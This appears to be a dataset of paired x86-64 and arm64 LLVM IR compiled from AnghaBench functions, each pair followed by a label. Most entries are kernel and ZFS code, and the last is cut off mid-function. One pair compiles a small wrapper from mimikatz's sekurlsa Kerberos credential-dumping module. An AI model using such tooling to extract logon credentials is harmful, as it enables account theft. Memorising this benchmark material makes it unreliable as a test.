; Function Attrs: nounwind ssp uwtable(sync)
define internal ptr @cpuidle_state_get_one_string(i32 noundef %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = load i32, ptr @MAX_LINE_LEN, align 4, !tbaa !6
%5 = zext i32 %4 to i64
%6 = alloca i8, i64 %5, align 1
%7 = load i32, ptr @MAX_IDLESTATE_STRING_FILES, align 4, !tbaa !6
%8 = icmp ugt i32 %7, %2
br i1 %8, label %9, label %31
9: ; preds = %3
%10 = load ptr, ptr @idlestate_string_files, align 8, !tbaa !10
%11 = zext i32 %2 to i64
%12 = getelementptr inbounds i32, ptr %10, i64 %11
%13 = load i32, ptr %12, align 4, !tbaa !6
%14 = call i32 @cpuidle_state_read_file(i32 noundef %0, i32 noundef %1, i32 noundef %13, ptr noundef nonnull %6, i32 noundef %4) #3
%15 = icmp eq i32 %14, 0
br i1 %15, label %31, label %16
16: ; preds = %9
%17 = call ptr @strdup(ptr noundef nonnull %6)
%18 = icmp eq ptr %17, null
br i1 %18, label %31, label %19
19: ; preds = %16
%20 = call i32 @strlen(ptr noundef nonnull %17) #3
%21 = sext i32 %20 to i64
%22 = getelementptr i8, ptr %17, i64 %21
%23 = getelementptr i8, ptr %22, i64 -1
%24 = load i8, ptr %23, align 1, !tbaa !12
%25 = icmp eq i8 %24, 10
br i1 %25, label %26, label %31
26: ; preds = %19
%27 = call i32 @strlen(ptr noundef nonnull %17) #3
%28 = sext i32 %27 to i64
%29 = getelementptr i8, ptr %17, i64 %28
%30 = getelementptr i8, ptr %29, i64 -1
store i8 0, ptr %30, align 1, !tbaa !12
br label %31
31: ; preds = %19, %26, %16, %9, %3
%32 = phi ptr [ null, %3 ], [ null, %9 ], [ null, %16 ], [ %17, %26 ], [ %17, %19 ]
ret ptr %32
}
declare i32 @cpuidle_state_read_file(i32 noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
; Function Attrs: mustprogress nofree nounwind willreturn memory(argmem: readwrite, inaccessiblemem: readwrite)
declare noalias ptr @strdup(ptr nocapture noundef readonly) local_unnamed_addr #2
declare i32 @strlen(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { mustprogress nofree nounwind willreturn memory(argmem: readwrite, inaccessiblemem: readwrite) "alloc-family"="malloc" "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"any pointer", !8, i64 0}
!12 = !{!8, !8, i64 0}
| linux_tools_power_cpupower_lib_extr_cpuidle.c_cpuidle_state_get_one_string |
; ModuleID = 'AnghaBench/linux/drivers/mtd/devices/extr_block2mtd.c_block2mtd_sync.c'
source_filename = "AnghaBench/linux/drivers/mtd/devices/extr_block2mtd.c_block2mtd_sync.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @block2mtd_sync], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @block2mtd_sync(ptr nocapture noundef readonly %0) #0 {
%2 = load ptr, ptr %0, align 8, !tbaa !5
%3 = load i32, ptr %2, align 4, !tbaa !10
%4 = tail call i32 @sync_blockdev(i32 noundef %3) #2
ret void
}
declare i32 @sync_blockdev(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"mtd_info", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !12, i64 0}
!11 = !{!"block2mtd_dev", !12, i64 0}
!12 = !{!"int", !8, i64 0}
| ; ModuleID = 'AnghaBench/linux/drivers/mtd/devices/extr_block2mtd.c_block2mtd_sync.c'
source_filename = "AnghaBench/linux/drivers/mtd/devices/extr_block2mtd.c_block2mtd_sync.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @block2mtd_sync], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @block2mtd_sync(ptr nocapture noundef readonly %0) #0 {
%2 = load ptr, ptr %0, align 8, !tbaa !6
%3 = load i32, ptr %2, align 4, !tbaa !11
%4 = tail call i32 @sync_blockdev(i32 noundef %3) #2
ret void
}
declare i32 @sync_blockdev(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"mtd_info", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !13, i64 0}
!12 = !{!"block2mtd_dev", !13, i64 0}
!13 = !{!"int", !9, i64 0}
| linux_drivers_mtd_devices_extr_block2mtd.c_block2mtd_sync |
; ModuleID = 'AnghaBench/freebsd/cddl/contrib/opensolaris/lib/libzfs/common/extr_libzfs_import.c_pool_active.c'
source_filename = "AnghaBench/freebsd/cddl/contrib/opensolaris/lib/libzfs/common/extr_libzfs_import.c_pool_active.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@B_FALSE = dso_local local_unnamed_addr global i32 0, align 4
@ZPOOL_CONFIG_POOL_GUID = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @pool_active], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal noundef i32 @pool_active(ptr noundef %0, ptr noundef %1, i64 noundef %2, ptr nocapture noundef writeonly %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %5) #3
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %6) #3
%7 = call i64 @zpool_open_silent(ptr noundef %0, ptr noundef %1, ptr noundef nonnull %5) #3
%8 = icmp eq i64 %7, 0
br i1 %8, label %9, label %28
9: ; preds = %4
%10 = load ptr, ptr %5, align 8, !tbaa !5
%11 = icmp eq ptr %10, null
br i1 %11, label %12, label %14
12: ; preds = %9
%13 = load i32, ptr @B_FALSE, align 4, !tbaa !9
br label %26
14: ; preds = %9
%15 = load i32, ptr %10, align 4, !tbaa !11
%16 = load i32, ptr @ZPOOL_CONFIG_POOL_GUID, align 4, !tbaa !9
%17 = call i64 @nvlist_lookup_uint64(i32 noundef %15, i32 noundef %16, ptr noundef nonnull %6) #3
%18 = icmp eq i64 %17, 0
%19 = zext i1 %18 to i32
%20 = call i32 @verify(i32 noundef %19) #3
%21 = load ptr, ptr %5, align 8, !tbaa !5
%22 = call i32 @zpool_close(ptr noundef %21) #3
%23 = load i64, ptr %6, align 8, !tbaa !13
%24 = icmp eq i64 %23, %2
%25 = zext i1 %24 to i32
br label %26
26: ; preds = %12, %14
%27 = phi i32 [ %25, %14 ], [ %13, %12 ]
store i32 %27, ptr %3, align 4, !tbaa !9
br label %28
28: ; preds = %26, %4
%29 = phi i32 [ -1, %4 ], [ 0, %26 ]
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %6) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %5) #3
ret i32 %29
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i64 @zpool_open_silent(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2
declare i32 @verify(i32 noundef) local_unnamed_addr #2
declare i64 @nvlist_lookup_uint64(i32 noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @zpool_close(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"any pointer", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !10, i64 0}
!10 = !{!"int", !7, i64 0}
!11 = !{!12, !10, i64 0}
!12 = !{!"TYPE_4__", !10, i64 0}
!13 = !{!14, !14, i64 0}
!14 = !{!"long", !7, i64 0}
| ; ModuleID = 'AnghaBench/freebsd/cddl/contrib/opensolaris/lib/libzfs/common/extr_libzfs_import.c_pool_active.c'
source_filename = "AnghaBench/freebsd/cddl/contrib/opensolaris/lib/libzfs/common/extr_libzfs_import.c_pool_active.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@B_FALSE = common local_unnamed_addr global i32 0, align 4
@ZPOOL_CONFIG_POOL_GUID = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @pool_active], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal range(i32 -1, 1) i32 @pool_active(ptr noundef %0, ptr noundef %1, i64 noundef %2, ptr nocapture noundef writeonly %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %5) #3
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %6) #3
%7 = call i64 @zpool_open_silent(ptr noundef %0, ptr noundef %1, ptr noundef nonnull %5) #3
%8 = icmp eq i64 %7, 0
br i1 %8, label %9, label %28
9: ; preds = %4
%10 = load ptr, ptr %5, align 8, !tbaa !6
%11 = icmp eq ptr %10, null
br i1 %11, label %12, label %14
12: ; preds = %9
%13 = load i32, ptr @B_FALSE, align 4, !tbaa !10
br label %26
14: ; preds = %9
%15 = load i32, ptr %10, align 4, !tbaa !12
%16 = load i32, ptr @ZPOOL_CONFIG_POOL_GUID, align 4, !tbaa !10
%17 = call i64 @nvlist_lookup_uint64(i32 noundef %15, i32 noundef %16, ptr noundef nonnull %6) #3
%18 = icmp eq i64 %17, 0
%19 = zext i1 %18 to i32
%20 = call i32 @verify(i32 noundef %19) #3
%21 = load ptr, ptr %5, align 8, !tbaa !6
%22 = call i32 @zpool_close(ptr noundef %21) #3
%23 = load i64, ptr %6, align 8, !tbaa !14
%24 = icmp eq i64 %23, %2
%25 = zext i1 %24 to i32
br label %26
26: ; preds = %12, %14
%27 = phi i32 [ %25, %14 ], [ %13, %12 ]
store i32 %27, ptr %3, align 4, !tbaa !10
br label %28
28: ; preds = %26, %4
%29 = phi i32 [ -1, %4 ], [ 0, %26 ]
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %6) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %5) #3
ret i32 %29
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i64 @zpool_open_silent(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2
declare i32 @verify(i32 noundef) local_unnamed_addr #2
declare i64 @nvlist_lookup_uint64(i32 noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @zpool_close(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"int", !8, i64 0}
!12 = !{!13, !11, i64 0}
!13 = !{!"TYPE_4__", !11, i64 0}
!14 = !{!15, !15, i64 0}
!15 = !{!"long", !8, i64 0}
| freebsd_cddl_contrib_opensolaris_lib_libzfs_common_extr_libzfs_import.c_pool_active |
; ModuleID = 'AnghaBench/mimikatz/mimikatz/modules/sekurlsa/packages/extr_kuhl_m_sekurlsa_kerberos.c_kuhl_m_sekurlsa_kerberos.c'
source_filename = "AnghaBench/mimikatz/mimikatz/modules/sekurlsa/packages/extr_kuhl_m_sekurlsa_kerberos.c_kuhl_m_sekurlsa_kerberos.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@kuhl_m_sekurlsa_kerberos_single_package = dso_local local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind uwtable
define dso_local i32 @kuhl_m_sekurlsa_kerberos(i32 noundef %0, ptr nocapture noundef readnone %1) local_unnamed_addr #0 {
%3 = load i32, ptr @kuhl_m_sekurlsa_kerberos_single_package, align 4, !tbaa !5
%4 = tail call i32 @kuhl_m_sekurlsa_getLogonData(i32 noundef %3, i32 noundef 1) #2
ret i32 %4
}
declare i32 @kuhl_m_sekurlsa_getLogonData(i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/mimikatz/mimikatz/modules/sekurlsa/packages/extr_kuhl_m_sekurlsa_kerberos.c_kuhl_m_sekurlsa_kerberos.c'
source_filename = "AnghaBench/mimikatz/mimikatz/modules/sekurlsa/packages/extr_kuhl_m_sekurlsa_kerberos.c_kuhl_m_sekurlsa_kerberos.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@kuhl_m_sekurlsa_kerberos_single_package = common local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind ssp uwtable(sync)
define i32 @kuhl_m_sekurlsa_kerberos(i32 noundef %0, ptr nocapture noundef readnone %1) local_unnamed_addr #0 {
%3 = load i32, ptr @kuhl_m_sekurlsa_kerberos_single_package, align 4, !tbaa !6
%4 = tail call i32 @kuhl_m_sekurlsa_getLogonData(i32 noundef %3, i32 noundef 1) #2
ret i32 %4
}
declare i32 @kuhl_m_sekurlsa_getLogonData(i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| mimikatz_mimikatz_modules_sekurlsa_packages_extr_kuhl_m_sekurlsa_kerberos.c_kuhl_m_sekurlsa_kerberos |
; ModuleID = 'AnghaBench/linux/drivers/spi/extr_spi-mxic.c_mxic_spi_transfer_one.c'
source_filename = "AnghaBench/linux/drivers/spi/extr_spi-mxic.c_mxic_spi_transfer_one.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.spi_transfer = type { i32, i64, i32, i32 }
@OP_BUSW_1 = dso_local local_unnamed_addr global i32 0, align 4
@SPI_TX_QUAD = dso_local local_unnamed_addr global i32 0, align 4
@SPI_RX_QUAD = dso_local local_unnamed_addr global i32 0, align 4
@SPI_TX_DUAL = dso_local local_unnamed_addr global i32 0, align 4
@SPI_RX_DUAL = dso_local local_unnamed_addr global i32 0, align 4
@ENOTSUPP = dso_local local_unnamed_addr global i32 0, align 4
@OP_BUSW_4 = dso_local local_unnamed_addr global i32 0, align 4
@OP_BUSW_2 = dso_local local_unnamed_addr global i32 0, align 4
@OP_READ = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @mxic_spi_transfer_one], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @mxic_spi_transfer_one(ptr noundef %0, ptr nocapture noundef readonly %1, ptr nocapture noundef readonly %2) #0 {
%4 = tail call ptr @spi_master_get_devdata(ptr noundef %0) #2
%5 = load i32, ptr @OP_BUSW_1, align 4, !tbaa !5
%6 = getelementptr inbounds %struct.spi_transfer, ptr %2, i64 0, i32 1
%7 = load i64, ptr %6, align 8, !tbaa !9
%8 = icmp eq i64 %7, 0
br i1 %8, label %33, label %9
9: ; preds = %3
%10 = getelementptr inbounds %struct.spi_transfer, ptr %2, i64 0, i32 2
%11 = load i32, ptr %10, align 8, !tbaa !12
%12 = icmp eq i32 %11, 0
br i1 %12, label %33, label %13
13: ; preds = %9
%14 = load i32, ptr %1, align 4, !tbaa !13
%15 = load i32, ptr @SPI_TX_QUAD, align 4, !tbaa !5
%16 = and i32 %15, %14
%17 = icmp eq i32 %16, 0
br i1 %17, label %22, label %18
18: ; preds = %13
%19 = load i32, ptr @SPI_RX_QUAD, align 4, !tbaa !5
%20 = and i32 %19, %14
%21 = icmp eq i32 %20, 0
br i1 %21, label %30, label %22
22: ; preds = %18, %13
%23 = load i32, ptr @SPI_TX_DUAL, align 4, !tbaa !5
%24 = and i32 %23, %14
%25 = icmp eq i32 %24, 0
br i1 %25, label %33, label %26
26: ; preds = %22
%27 = load i32, ptr @SPI_RX_DUAL, align 4, !tbaa !5
%28 = and i32 %27, %14
%29 = icmp eq i32 %28, 0
br i1 %29, label %30, label %33
30: ; preds = %26, %18
%31 = load i32, ptr @ENOTSUPP, align 4, !tbaa !5
%32 = sub nsw i32 0, %31
br label %94
33: ; preds = %22, %26, %9, %3
%34 = getelementptr inbounds %struct.spi_transfer, ptr %2, i64 0, i32 3
%35 = load i32, ptr %34, align 4, !tbaa !15
%36 = tail call i32 @mxic_spi_set_freq(ptr noundef %4, i32 noundef %35) #2
%37 = icmp eq i32 %36, 0
br i1 %37, label %38, label %94
38: ; preds = %33
%39 = getelementptr inbounds %struct.spi_transfer, ptr %2, i64 0, i32 2
%40 = load i32, ptr %39, align 8, !tbaa !12
%41 = icmp eq i32 %40, 0
br i1 %41, label %55, label %42
42: ; preds = %38
%43 = load i32, ptr %1, align 4, !tbaa !13
%44 = load i32, ptr @SPI_TX_QUAD, align 4, !tbaa !5
%45 = and i32 %44, %43
%46 = icmp eq i32 %45, 0
br i1 %46, label %49, label %47
47: ; preds = %42
%48 = load i32, ptr @OP_BUSW_4, align 4, !tbaa !5
br label %71
49: ; preds = %42
%50 = load i32, ptr @SPI_TX_DUAL, align 4, !tbaa !5
%51 = and i32 %50, %43
%52 = icmp eq i32 %51, 0
%53 = load i32, ptr @OP_BUSW_2, align 4
%54 = select i1 %52, i32 %5, i32 %53
br label %71
55: ; preds = %38
%56 = load i64, ptr %6, align 8, !tbaa !9
%57 = icmp eq i64 %56, 0
br i1 %57, label %71, label %58
58: ; preds = %55
%59 = load i32, ptr %1, align 4, !tbaa !13
%60 = load i32, ptr @SPI_RX_QUAD, align 4, !tbaa !5
%61 = and i32 %60, %59
%62 = icmp eq i32 %61, 0
br i1 %62, label %65, label %63
63: ; preds = %58
%64 = load i32, ptr @OP_BUSW_4, align 4, !tbaa !5
br label %71
65: ; preds = %58
%66 = load i32, ptr @SPI_RX_DUAL, align 4, !tbaa !5
%67 = and i32 %66, %59
%68 = icmp eq i32 %67, 0
%69 = load i32, ptr @OP_BUSW_2, align 4
%70 = select i1 %68, i32 %5, i32 %69
br label %71
71: ; preds = %65, %49, %55, %63, %47
%72 = phi i32 [ %48, %47 ], [ %64, %63 ], [ %5, %55 ], [ %54, %49 ], [ %70, %65 ]
%73 = tail call i32 @OP_CMD_BYTES(i32 noundef 1) #2
%74 = tail call i32 @OP_CMD_BUSW(i32 noundef %72) #2
%75 = or i32 %74, %73
%76 = tail call i32 @OP_DATA_BUSW(i32 noundef %72) #2
%77 = or i32 %75, %76
%78 = load i64, ptr %6, align 8, !tbaa !9
%79 = icmp eq i64 %78, 0
